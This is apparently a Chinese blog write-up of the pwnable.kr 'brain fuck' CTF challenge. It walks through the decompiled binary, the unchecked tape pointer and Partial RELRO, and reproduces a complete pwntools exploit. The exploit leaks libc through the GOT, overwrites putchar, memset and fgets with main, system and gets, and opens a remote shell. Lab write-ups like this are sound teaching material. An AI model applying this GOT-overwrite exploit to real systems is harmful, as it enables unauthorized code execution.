pwnable.kr brain fuck

老样子,先审题
在这里插入图片描述
给了两个文件,先下下来

bf拖ida里康康,使用F5大法

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h]
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, 0x400u);
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}

大概看一下main逻辑主要是赋值了一个全局变量p,输出一下欢迎提示语,然后清空了s的栈空间,从标准化输入读取数据到s中。然后依次取出s中的数作为参数,传入到do_brainfuck

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1;
  switch ( a1 )
  {
    case 0x2B:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 0x2C:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 0x2D:
      result = p;
      --*(_BYTE *)p;
      break;
    case 0x2E:
      result = putchar(*(char *)p);
      break;
    case 0x3C:
      result = p-- - 1;
      break;
    case 0x3E:
      result = p++ + 1;
      break;
    case 0x5B:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

根据题目提示看样子是个简陋版的brainfuck解释器,翻译成明文就是:< p值减1, >p值加1, .输出当前字节, ,写当前字节,+p值指向的值加1 ,-p值指向的值减1

在这里插入图片描述
查看一下程序保护

p = (int)&tape;

在这里插入图片描述
这里使用全局变量来模拟指针位置,不过没有检测指针越界。所以可以看到指针一开始位于bss段
在这里插入图片描述

指针*p指向的tape距离.got.plt最高位的函数距离是0×70,是小于0×400的。
而我们可以看到上面查看的保护状态有RELRO: Partial RELRO
也就是没有开启got表只读,所以初步利用思路就是覆写got表获取shell。

来根据已知道的信息来分析一下
我们最终的目的是get shell,还差一个system(‘//bin/sh’),题目提供了lib库,system函数在libc中,关于libc中的地址一定有随机化,所以要考虑泄露这部分地址方法。泄露方法可以用p指针移动到got表中,读出got地址,这个地址在调用一次xx@plt后就指向了libc中地址
在这里插入图片描述
再考虑再考虑‘/bin/sh’怎么传入
在这里插入图片描述
memsetfgets被前后调用,这两个函数可以改为
1:gets;
2:system
这样的操作,由于这步骤是需要第二次运行main函数的,所以可以考虑用got表中putchar函数的地址覆盖为main函数地址。泄露,也是用putchar函数。先调用putchar函数再泄露,然后再覆写。
这里有大佬写的exp,不懂的可以多看几遍,注释写得非常详细,我就不画蛇添足了

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 处理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影响的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函数起始地址,可在IDA查到
raw_libc_base_addr = '' # 用于存放泄露的putchar真实地址
# 构造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 调整p指向到putchar(0x0804A030)
payload += '.' # 调用一次putchar函数,让plt中有putchar真实地址的记录
payload += '.>' * 0x4 # 读取putchar真实地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函数的顶部(0x0804A030),并覆写putchar为main函数的地址(用于覆写完成后,回跳到程序中运行函数getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 调整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆写memset为system函数地址
payload += '<' * (memset_addr - fgets_addr + 4) # 调整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆写fgets为gets函数地址
payload += '.' # 调用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 计算libc基地址&各函数真实地址
p.recv(1) # 接收第一次调用putchar时,产生的1byte无用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真实地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真实地址-函数在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 计算gets真实地址
system_addr = libc_base_addr + libc.symbols['system'] # 计算system真实地址
# 打印计算得到的各函数真实函数地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 输入各函数的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system参数,调用sh。\0为结束输入符
p.interactive()

出自:

https://www.freebuf.com/vuls/216749.html

在这里插入图片描述
完成:)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值